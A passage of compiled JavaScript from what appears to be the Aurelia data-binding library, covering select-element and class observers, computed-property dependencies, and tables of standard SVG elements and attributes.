this.handler = handler;
this.observerLocator = observerLocator;
}
SelectValueObserver.prototype.getValue = function getValue() {
return this.value;
};
SelectValueObserver.prototype.setValue = function setValue(newValue) {
if (newValue !== null && newValue !== undefined && this.element.multiple && !Array.isArray(newValue)) {
throw new Error('Only null or Array instances can be bound to a multi-select.');
}
if (this.value === newValue) {
return;
}
if (this.arrayObserver) {
this.arrayObserver.unsubscribe(selectArrayContext, this);
this.arrayObserver = null;
}
if (Array.isArray(newValue)) {
this.arrayObserver = this.observerLocator.getArrayObserver(newValue);
this.arrayObserver.subscribe(selectArrayContext, this);
}
this.oldValue = this.value;
this.value = newValue;
this.synchronizeOptions();
this.notify();
if (!this.initialSync) {
this.initialSync = true;
this.observerLocator.taskQueue.queueMicroTask(this);
}
};
SelectValueObserver.prototype.call = function call(context, splices) {
this.synchronizeOptions();
};
SelectValueObserver.prototype.synchronizeOptions = function synchronizeOptions() {
var value = this.value;
var isArray = void 0;
if (Array.isArray(value)) {
isArray = true;
}
var options = this.element.options;
var i = options.length;
var matcher = this.element.matcher || function (a, b) {
return a === b;
};
var _loop = function _loop() {
var option = options.item(i);
var optionValue = option.hasOwnProperty('model') ? option.model : option.value;
if (isArray) {
option.selected = value.findIndex(function (item) {
return !!matcher(optionValue, item);
}) !== -1;
return 'continue';
}
option.selected = !!matcher(optionValue, value);
};
while (i--) {
var _ret3 = _loop();
if (_ret3 === 'continue') continue;
}
};
SelectValueObserver.prototype.synchronizeValue = function synchronizeValue() {
var _this24 = this;
var options = this.element.options;
var count = 0;
var value = [];
for (var _i23 = 0, ii = options.length; _i23 < ii; _i23++) {
var _option = options.item(_i23);
if (!_option.selected) {
continue;
}
value.push(_option.hasOwnProperty('model') ? _option.model : _option.value);
count++;
}
if (this.element.multiple) {
if (Array.isArray(this.value)) {
var _ret4 = function () {
var matcher = _this24.element.matcher || function (a, b) {
return a === b;
};
var i = 0;
var _loop2 = function _loop2() {
var a = _this24.value[i];
if (value.findIndex(function (b) {
return matcher(a, b);
}) === -1) {
_this24.value.splice(i, 1);
} else {
i++;
}
};
while (i < _this24.value.length) {
_loop2();
}
i = 0;
var _loop3 = function _loop3() {
var a = value[i];
if (_this24.value.findIndex(function (b) {
return matcher(a, b);
}) === -1) {
_this24.value.push(a);
}
i++;
};
while (i < value.length) {
_loop3();
}
return {
v: void 0
};
}();
if ((typeof _ret4 === 'undefined' ? 'undefined' : _typeof(_ret4)) === "object") return _ret4.v;
}
} else {
if (count === 0) {
value = null;
} else {
value = value[0];
}
}
if (value !== this.value) {
this.oldValue = this.value;
this.value = value;
this.notify();
}
};
SelectValueObserver.prototype.notify = function notify() {
var oldValue = this.oldValue;
var newValue = this.value;
this.callSubscribers(newValue, oldValue);
};
SelectValueObserver.prototype.subscribe = function subscribe(context, callable) {
if (!this.hasSubscribers()) {
this.disposeHandler = this.handler.subscribe(this.element, this.synchronizeValue.bind(this, false));
}
this.addSubscriber(context, callable);
};
SelectValueObserver.prototype.unsubscribe = function unsubscribe(context, callable) {
if (this.removeSubscriber(context, callable) && !this.hasSubscribers()) {
this.disposeHandler();
this.disposeHandler = null;
}
};
SelectValueObserver.prototype.bind = function bind() {
var _this25 = this;
this.domObserver = _aureliaPal.DOM.createMutationObserver(function () {
_this25.synchronizeOptions();
_this25.synchronizeValue();
});
this.domObserver.observe(this.element, { childList: true, subtree: true });
};
SelectValueObserver.prototype.unbind = function unbind() {
this.domObserver.disconnect();
this.domObserver = null;
if (this.arrayObserver) {
this.arrayObserver.unsubscribe(selectArrayContext, this);
this.arrayObserver = null;
}
};
return SelectValueObserver;
}()) || _class10);
var ClassObserver = exports.ClassObserver = function () {
function ClassObserver(element) {
this.element = element;
this.doNotCache = true;
this.value = '';
this.version = 0;
}
ClassObserver.prototype.getValue = function getValue() {
return this.value;
};
ClassObserver.prototype.setValue = function setValue(newValue) {
var nameIndex = this.nameIndex || {};
var version = this.version;
var names = void 0;
var name = void 0;
if (newValue !== null && newValue !== undefined && newValue.length) {
names = newValue.split(/\s+/);
for (var _i24 = 0, length = names.length; _i24 < length; _i24++) {
name = names[_i24];
if (name === '') {
continue;
}
nameIndex[name] = version;
this.element.classList.add(name);
}
}
this.value = newValue;
this.nameIndex = nameIndex;
this.version += 1;
if (version === 0) {
return;
}
version -= 1;
for (name in nameIndex) {
if (!nameIndex.hasOwnProperty(name) || nameIndex[name] !== version) {
continue;
}
this.element.classList.remove(name);
}
};
ClassObserver.prototype.subscribe = function subscribe() {
throw new Error('Observation of a "' + this.element.nodeName + '" element\'s "class" property is not supported.');
};
return ClassObserver;
}();
function hasDeclaredDependencies(descriptor) {
return !!(descriptor && descriptor.get && descriptor.get.dependencies);
}
function declarePropertyDependencies(ctor, propertyName, dependencies) {
var descriptor = Object.getOwnPropertyDescriptor(ctor.prototype, propertyName);
descriptor.get.dependencies = dependencies;
}
function computedFrom() {
for (var _len = arguments.length, rest = Array(_len), _key = 0; _key < _len; _key++) {
rest[_key] = arguments[_key];
}
return function (target, key, descriptor) {
descriptor.get.dependencies = rest;
return descriptor;
};
}
var ComputedExpression = exports.ComputedExpression = function (_Expression19) {
_inherits(ComputedExpression, _Expression19);
function ComputedExpression(name, dependencies) {
var _this26 = _possibleConstructorReturn(this, _Expression19.call(this));
_this26.name = name;
_this26.dependencies = dependencies;
_this26.isAssignable = true;
return _this26;
}
ComputedExpression.prototype.evaluate = function evaluate(scope, lookupFunctions) {
return scope.bindingContext[this.name];
};
ComputedExpression.prototype.assign = function assign(scope, value) {
scope.bindingContext[this.name] = value;
};
ComputedExpression.prototype.accept = function accept(visitor) {
throw new Error('not implemented');
};
ComputedExpression.prototype.connect = function connect(binding, scope) {
var dependencies = this.dependencies;
var i = dependencies.length;
while (i--) {
dependencies[i].connect(binding, scope);
}
};
return ComputedExpression;
}(Expression);
function createComputedObserver(obj, propertyName, descriptor, observerLocator) {
var dependencies = descriptor.get.dependencies;
if (!(dependencies instanceof ComputedExpression)) {
var _i25 = dependencies.length;
while (_i25--) {
dependencies[_i25] = observerLocator.parser.parse(dependencies[_i25]);
}
dependencies = descriptor.get.dependencies = new ComputedExpression(propertyName, dependencies);
}
var scope = { bindingContext: obj, overrideContext: createOverrideContext(obj) };
return new ExpressionObserver(scope, dependencies, observerLocator);
}
var svgElements = void 0;
var svgPresentationElements = void 0;
var svgPresentationAttributes = void 0;
var svgAnalyzer = void 0;
if (typeof FEATURE_NO_SVG === 'undefined') {
(function () {
svgElements = {
a: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'target', 'transform', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
altGlyph: ['class', 'dx', 'dy', 'externalResourcesRequired', 'format', 'glyphRef', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'rotate', 'style', 'systemLanguage', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
altGlyphDef: ['id', 'xml:base', 'xml:lang', 'xml:space'],
altGlyphItem: ['id', 'xml:base', 'xml:lang', 'xml:space'],
animate: ['accumulate', 'additive', 'attributeName', 'attributeType', 'begin', 'by', 'calcMode', 'dur', 'end', 'externalResourcesRequired', 'fill', 'from', 'id', 'keySplines', 'keyTimes', 'max', 'min', 'onbegin', 'onend', 'onload', 'onrepeat', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'restart', 'systemLanguage', 'to', 'values', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
animateColor: ['accumulate', 'additive', 'attributeName', 'attributeType', 'begin', 'by', 'calcMode', 'dur', 'end', 'externalResourcesRequired', 'fill', 'from', 'id', 'keySplines', 'keyTimes', 'max', 'min', 'onbegin', 'onend', 'onload', 'onrepeat', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'restart', 'systemLanguage', 'to', 'values', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
animateMotion: ['accumulate', 'additive', 'begin', 'by', 'calcMode', 'dur', 'end', 'externalResourcesRequired', 'fill', 'from', 'id', 'keyPoints', 'keySplines', 'keyTimes', 'max', 'min', 'onbegin', 'onend', 'onload', 'onrepeat', 'origin', 'path', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'restart', 'rotate', 'systemLanguage', 'to', 'values', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
animateTransform: ['accumulate', 'additive', 'attributeName', 'attributeType', 'begin', 'by', 'calcMode', 'dur', 'end', 'externalResourcesRequired', 'fill', 'from', 'id', 'keySplines', 'keyTimes', 'max', 'min', 'onbegin', 'onend', 'onload', 'onrepeat', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'restart', 'systemLanguage', 'to', 'type', 'values', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
circle: ['class', 'cx', 'cy', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'r', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
clipPath: ['class', 'clipPathUnits', 'externalResourcesRequired', 'id', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
'color-profile': ['id', 'local', 'name', 'rendering-intent', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
cursor: ['externalResourcesRequired', 'id', 'requiredExtensions', 'requiredFeatures', 'systemLanguage', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
defs: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
desc: ['class', 'id', 'style', 'xml:base', 'xml:lang', 'xml:space'],
ellipse: ['class', 'cx', 'cy', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'rx', 'ry', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
feBlend: ['class', 'height', 'id', 'in', 'in2', 'mode', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feColorMatrix: ['class', 'height', 'id', 'in', 'result', 'style', 'type', 'values', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feComponentTransfer: ['class', 'height', 'id', 'in', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feComposite: ['class', 'height', 'id', 'in', 'in2', 'k1', 'k2', 'k3', 'k4', 'operator', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feConvolveMatrix: ['bias', 'class', 'divisor', 'edgeMode', 'height', 'id', 'in', 'kernelMatrix', 'kernelUnitLength', 'order', 'preserveAlpha', 'result', 'style', 'targetX', 'targetY', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feDiffuseLighting: ['class', 'diffuseConstant', 'height', 'id', 'in', 'kernelUnitLength', 'result', 'style', 'surfaceScale', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feDisplacementMap: ['class', 'height', 'id', 'in', 'in2', 'result', 'scale', 'style', 'width', 'x', 'xChannelSelector', 'xml:base', 'xml:lang', 'xml:space', 'y', 'yChannelSelector'],
feDistantLight: ['azimuth', 'elevation', 'id', 'xml:base', 'xml:lang', 'xml:space'],
feFlood: ['class', 'height', 'id', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feFuncA: ['amplitude', 'exponent', 'id', 'intercept', 'offset', 'slope', 'tableValues', 'type', 'xml:base', 'xml:lang', 'xml:space'],
feFuncB: ['amplitude', 'exponent', 'id', 'intercept', 'offset', 'slope', 'tableValues', 'type', 'xml:base', 'xml:lang', 'xml:space'],
feFuncG: ['amplitude', 'exponent', 'id', 'intercept', 'offset', 'slope', 'tableValues', 'type', 'xml:base', 'xml:lang', 'xml:space'],
feFuncR: ['amplitude', 'exponent', 'id', 'intercept', 'offset', 'slope', 'tableValues', 'type', 'xml:base', 'xml:lang', 'xml:space'],
feGaussianBlur: ['class', 'height', 'id', 'in', 'result', 'stdDeviation', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feImage: ['class', 'externalResourcesRequired', 'height', 'id', 'preserveAspectRatio', 'result', 'style', 'width', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feMerge: ['class', 'height', 'id', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feMergeNode: ['id', 'xml:base', 'xml:lang', 'xml:space'],
feMorphology: ['class', 'height', 'id', 'in', 'operator', 'radius', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feOffset: ['class', 'dx', 'dy', 'height', 'id', 'in', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
fePointLight: ['id', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y', 'z'],
feSpecularLighting: ['class', 'height', 'id', 'in', 'kernelUnitLength', 'result', 'specularConstant', 'specularExponent', 'style', 'surfaceScale', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feSpotLight: ['id', 'limitingConeAngle', 'pointsAtX', 'pointsAtY', 'pointsAtZ', 'specularExponent', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y', 'z'],
feTile: ['class', 'height', 'id', 'in', 'result', 'style', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
feTurbulence: ['baseFrequency', 'class', 'height', 'id', 'numOctaves', 'result', 'seed', 'stitchTiles', 'style', 'type', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
filter: ['class', 'externalResourcesRequired', 'filterRes', 'filterUnits', 'height', 'id', 'primitiveUnits', 'style', 'width', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
font: ['class', 'externalResourcesRequired', 'horiz-adv-x', 'horiz-origin-x', 'horiz-origin-y', 'id', 'style', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'xml:base', 'xml:lang', 'xml:space'],
'font-face': ['accent-height', 'alphabetic', 'ascent', 'bbox', 'cap-height', 'descent', 'font-family', 'font-size', 'font-stretch', 'font-style', 'font-variant', 'font-weight', 'hanging', 'id', 'ideographic', 'mathematical', 'overline-position', 'overline-thickness', 'panose-1', 'slope', 'stemh', 'stemv', 'strikethrough-position', 'strikethrough-thickness', 'underline-position', 'underline-thickness', 'unicode-range', 'units-per-em', 'v-alphabetic', 'v-hanging', 'v-ideographic', 'v-mathematical', 'widths', 'x-height', 'xml:base', 'xml:lang', 'xml:space'],
'font-face-format': ['id', 'string', 'xml:base', 'xml:lang', 'xml:space'],
'font-face-name': ['id', 'name', 'xml:base', 'xml:lang', 'xml:space'],
'font-face-src': ['id', 'xml:base', 'xml:lang', 'xml:space'],
'font-face-uri': ['id', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
foreignObject: ['class', 'externalResourcesRequired', 'height', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
g: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
glyph: ['arabic-form', 'class', 'd', 'glyph-name', 'horiz-adv-x', 'id', 'lang', 'orientation', 'style', 'unicode', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'xml:base', 'xml:lang', 'xml:space'],
glyphRef: ['class', 'dx', 'dy', 'format', 'glyphRef', 'id', 'style', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
hkern: ['g1', 'g2', 'id', 'k', 'u1', 'u2', 'xml:base', 'xml:lang', 'xml:space'],
image: ['class', 'externalResourcesRequired', 'height', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'preserveAspectRatio', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'width', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
line: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'x1', 'x2', 'xml:base', 'xml:lang', 'xml:space', 'y1', 'y2'],
linearGradient: ['class', 'externalResourcesRequired', 'gradientTransform', 'gradientUnits', 'id', 'spreadMethod', 'style', 'x1', 'x2', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y1', 'y2'],
marker: ['class', 'externalResourcesRequired', 'id', 'markerHeight', 'markerUnits', 'markerWidth', 'orient', 'preserveAspectRatio', 'refX', 'refY', 'style', 'viewBox', 'xml:base', 'xml:lang', 'xml:space'],
mask: ['class', 'externalResourcesRequired', 'height', 'id', 'maskContentUnits', 'maskUnits', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
metadata: ['id', 'xml:base', 'xml:lang', 'xml:space'],
'missing-glyph': ['class', 'd', 'horiz-adv-x', 'id', 'style', 'vert-adv-y', 'vert-origin-x', 'vert-origin-y', 'xml:base', 'xml:lang', 'xml:space'],
mpath: ['externalResourcesRequired', 'id', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
path: ['class', 'd', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'pathLength', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
pattern: ['class', 'externalResourcesRequired', 'height', 'id', 'patternContentUnits', 'patternTransform', 'patternUnits', 'preserveAspectRatio', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'viewBox', 'width', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
polygon: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'points', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
polyline: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'points', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
radialGradient: ['class', 'cx', 'cy', 'externalResourcesRequired', 'fx', 'fy', 'gradientTransform', 'gradientUnits', 'id', 'r', 'spreadMethod', 'style', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
rect: ['class', 'externalResourcesRequired', 'height', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'rx', 'ry', 'style', 'systemLanguage', 'transform', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
script: ['externalResourcesRequired', 'id', 'type', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
set: ['attributeName', 'attributeType', 'begin', 'dur', 'end', 'externalResourcesRequired', 'fill', 'id', 'max', 'min', 'onbegin', 'onend', 'onload', 'onrepeat', 'repeatCount', 'repeatDur', 'requiredExtensions', 'requiredFeatures', 'restart', 'systemLanguage', 'to', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
stop: ['class', 'id', 'offset', 'style', 'xml:base', 'xml:lang', 'xml:space'],
style: ['id', 'media', 'title', 'type', 'xml:base', 'xml:lang', 'xml:space'],
svg: ['baseProfile', 'class', 'contentScriptType', 'contentStyleType', 'externalResourcesRequired', 'height', 'id', 'onabort', 'onactivate', 'onclick', 'onerror', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onresize', 'onscroll', 'onunload', 'onzoom', 'preserveAspectRatio', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'version', 'viewBox', 'width', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y', 'zoomAndPan'],
switch: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'xml:base', 'xml:lang', 'xml:space'],
symbol: ['class', 'externalResourcesRequired', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'preserveAspectRatio', 'style', 'viewBox', 'xml:base', 'xml:lang', 'xml:space'],
text: ['class', 'dx', 'dy', 'externalResourcesRequired', 'id', 'lengthAdjust', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'rotate', 'style', 'systemLanguage', 'textLength', 'transform', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
textPath: ['class', 'externalResourcesRequired', 'id', 'lengthAdjust', 'method', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'spacing', 'startOffset', 'style', 'systemLanguage', 'textLength', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space'],
title: ['class', 'id', 'style', 'xml:base', 'xml:lang', 'xml:space'],
tref: ['class', 'dx', 'dy', 'externalResourcesRequired', 'id', 'lengthAdjust', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'rotate', 'style', 'systemLanguage', 'textLength', 'x', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
tspan: ['class', 'dx', 'dy', 'externalResourcesRequired', 'id', 'lengthAdjust', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'rotate', 'style', 'systemLanguage', 'textLength', 'x', 'xml:base', 'xml:lang', 'xml:space', 'y'],
use: ['class', 'externalResourcesRequired', 'height', 'id', 'onactivate', 'onclick', 'onfocusin', 'onfocusout', 'onload', 'onmousedown', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'requiredExtensions', 'requiredFeatures', 'style', 'systemLanguage', 'transform', 'width', 'x', 'xlink:actuate', 'xlink:arcrole', 'xlink:href', 'xlink:role', 'xlink:show', 'xlink:title', 'xlink:type', 'xml:base', 'xml:lang', 'xml:space', 'y'],
view: ['externalResourcesRequired', 'id', 'preserveAspectRatio', 'viewBox', 'viewTarget', 'xml:base', 'xml:lang', 'xml:space', 'zoomAndPan'],
vkern: ['g1', 'g2', 'id', 'k', 'u1', 'u2', 'xml:base', 'xml:lang', 'xml:space']
};
svgPresentationElements = {
'a': true,
'altGlyph': true,
'animate': true,
'animateColor': true,
'circle': true,
'clipPath': true,
'defs': true,
'ellipse': true,
'feBlend': true,
'feColorMatrix': true,
'feComponentTransfer': true,
'feComposite': true,
'feConvolveMatrix': true,
'feDiffuseLighting': true,
'feDisplacementMap': true,
'feFlood': true,
'feGaussianBlur': true,
'feImage': true,
'feMerge': true,
'feMorphology': true,
'feOffset': true,
'feSpecularLighting': true,
'feTile': true,
'feTurbulence': true,
'filter': true,
'font': true,
'foreignObject': true,
'g': true,
'glyph': true,
'glyphRef': true,
'image': true,
'line': true,
'linearGradient': true,
'marker': true,
'mask': true,
'missing-glyph': true,
'path': true,
'pattern': true,
'polygon': true,
'polyline': true,
'radialGradient': true,
'rect': true,
'stop': true,
'svg': true,
'switch': true,
'symbol': true,
'text': true,
'textPath': true,
'tref': true,
'tspan': true,
'use': true
};
svgPresentationAttributes = {
'alignment-baseline': true,
'baseline-shift': true,
'clip-path': true,
'clip-rule': true,
'clip': true,
'color-interpolation-filters': true,
'color-interpolation': true,
'color-profile': true,
'color-rendering': true,
'color': true,
'cursor': true,
'direction': true,
'display': true,
'dominant-baseline': true,
'enable-background': true,
'fill-opacity': true,
'fill-rule': true,
'fill': true,
'filter': true,
'flood-color': true,
'flood-opacity': true,
'font-family': true,
'font-size-adjust': true,
'font-size': true,
'font-stretch': true,
'font-style': true,
'font-variant': true,
'font-weight': true,
'glyph-orientation-horizontal': true,
'glyph-orientation-vertical': true,
'image-rendering': true,
'kerning': true,
'letter-spacing': true,
'lighting-color': true,
'marker-end': true,
'marker-mid': true,
'marker-start': true,
'mask': true,
'opacity': true,
'overflow': true,
'pointer-events': true,
'shape-rendering': true,
'stop-color': true,
'stop-opacity': true,
'stroke-dasharray': true,
'stroke-dashoffset': true,
'stroke-linecap': true,
'stroke-linejoin': true,
'stroke-miterlimit': true,
'stroke-opacity': true,
'stroke-width': true,
'stroke': true,
'text-anchor': true,
'text-decoration': true,
'text-rendering': true,
'unicode-bidi': true,
'visibility': true,
'word-spacing': true,
'writing-mode': true
};
var createElement = function createElement(html) {
var div = _aureliaPal.DOM.createElement('div');
div.innerHTML = html;
return div.firstChild;
};
svgAnalyzer = function () {
function SVGAnalyzer() {
if (createElement('<svg><altGlyph /></svg>').firstElementChild.nodeName === 'altglyph' && elements.altGlyph) {
elements.altglyph = elements.altGlyph;
delete elements.altGlyph;
elements.altglyphdef = elements.altGlyphDef;
delete elements.altGlyphDef;
elements.altglyphitem = elements.altGlyphItem;
delete elements.altGlyphItem;
elements.glyphref = elements.glyphRef;
delete elements.glyphRef;
}
}
SVGAnalyzer.prototype.isStandardSvgAttribute = function isStandardSvgAttribute(nodeName, attributeName) {
return presentationElements[nodeName] && presentationAttributes[attributeName] || elements[nodeName] && elements[nodeName].indexOf(attributeName) !== -1;
};
return SVGAnalyzer;
}();
})();
}
var elements = exports.elements = svgElements;
var presentationElements = exports.presentationElements = svgPresentationElements;
var presentationAttributes = exports.presentationAttributes = svgPresentationAttributes;
